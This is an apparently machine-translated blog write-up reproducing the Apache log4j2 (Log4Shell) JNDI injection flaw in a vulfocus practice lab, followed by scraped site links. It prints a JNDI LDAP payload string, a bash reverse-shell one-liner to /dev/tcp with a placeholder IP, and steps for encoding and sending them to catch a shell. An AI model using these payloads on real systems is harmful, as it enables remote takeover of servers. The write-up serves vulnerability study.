当前位置:网站首页>[vulnerability recurrence] Apache log4j2 Remote Code Execution Vulnerability
[vulnerability recurrence] Apache log4j2 Remote Code Execution Vulnerability
2022-07-21 08:45:00 【H-neck white cap】
List of articles
Statement
This article is only used for technology research and vulnerability recurrence learning , Do not use the article attack method in unauthorized field tests , Any consequences have nothing to do with this article and the author !
One 、 Product Brief
Apache Log4j2 It's a · be based on Java The logging tool for , The tool rewrites Log4j frame , And introduce a lot of rich features , The log framework is widely used in business system development , Used to record log information .
Two 、 Summary of vulnerability
because Log4j2 Component exists while processing program logging JNDI Injection defects , An unauthorized attacker can exploit this vulnerability , Carefully constructed malicious data can be sent to the target server , Trigger Log4j2 Component resolution defect , Implement arbitrary code execution of the target server , Get target server permissions .
3、 ... and 、 scope
Apache Log4j2 2.0-beta9 To 2.15.0
Four 、 Loophole recurrence
With vulfocus Range environment test
Open the range interface
Burp Grab the bag , Use it directly payload To test , see dnslog Whether there is echo payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}
Dnslog The platform has data echo , Since there is echo , Then direct actual combat rebound Shell.
The tools used next :JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
(github download )
Speaking of rebound Shell, First of all, I want to use bash -i >& /dev/tcp/X.X.X.X/X 0>&1
, But it can't be used directly here , Need to put payoad Conduct base64 encryption , And then use bash Order to execute
Recommend an encrypted website :https://www.bugku.net/runtime-exec-payloads/
Input bounce above bash command , The encrypted payload.
Will this period of bash The command is applied directly to JNDIExploit On tools , The interface after execution is as follows :
here JNDI Links It is selected and implemented according to the current experimental environment payload
stay vps Create a monitor on
go back to burp On , Use it directly payload To test , Remember to put payload Conduct URL code , Because this is GET request , Directly in burp Inside Decoder Code conversion in the module
After coding payload Put it in repeater in send send out
Vps There is a lot of echo data , Let's look at the listening port , Has rebounded successfully Shell
5、 ... and 、 Means of repair
Update to the latest official version !
6、 ... and 、 Reference article
https://nosec.org/home/detail/4920.html
边栏推荐
- HJ107 求解立方根
- 微服务中*.iml文件删除
- Learning canoe from scratch (16) -- graphics
- 4. Storage NFS
- 如何关闭页面之前清空LocalStorage
- Several silly built-in functions about relative path / absolute path operation in CAPL script
- Google 為造芯再掀“搶人大戰”,英特爾 17 年老將加入
- 【微信小程序】slider滑动选择器(82/100)
- 基于CLIP的色情图片识别;油管最新ML课程大合集;交互式编写shell管道;机器人仓库环境增量感知数据集;最新AI论文 | ShowMeAI资讯日报
- 网易游戏 Flink SQL 平台化实践
猜你喜欢
在CANoe中通过Panel面板控制Test Module 运行(高级)
Google 為造芯再掀“搶人大戰”,英特爾 17 年老將加入
CAPL脚本中关于相对路径/绝对路径操作的几个傻傻分不清的内置函数
docker清理缓存脚本怎么写
PHP渗透测试文件包含漏洞与利用的方法
Google lance une autre bataille pour construire des noyaux, rejoignant Intel, un vétéran de 17 ans
在CANoe中通过Panel面板控制Test Module 运行(初级)
Scala 高阶(七):集合内容汇总(上篇)
Nacos手摸手教学【一】Nacos动态配置
去河南投资,VC很犹豫
随机推荐
论文写作全攻略|一篇学术科研论文该怎么写
MySQL Basics (functions and constraints)
【微信小程序】picker-view嵌入页面的滚动选择器(84/100)
Netease game Flink SQL platform practice
Hand rolling third person character controller - unity makes soul game notes 01
Can the active data guard standby database run query operations or read-only applications?
Looking back from the eight queens problem (violent enumeration)
FreeRTOS个人笔记-FreeRTOSConfig.h
PHP渗透测试文件包含漏洞与利用的方法
[wechat applet] slider sliding selector (82/100)
CAPL 脚本打印函数 write ,writeEx ,writeLineEx ,writeToLog ,writeToLogEx ,writeDbgLevel 你真的分的清楚什么情况下用哪个吗?
MySQL基礎(多錶查詢、事務)
CANoe下载地址以及CAN Demo 16的下载与激活,并附录所有CANoe软件版本
排序与检索(归并/快排/二分)
3. Rsync backup case
Hj18 identifies valid IP addresses and masks and makes classification statistics
罗敏成不了董宇辉
Highlight first! 2022 open atom global open source summit is scheduled to be held in Beijing on July 25-29
Limit the input type and length in the input box
MySQL基础(多表查询、事务)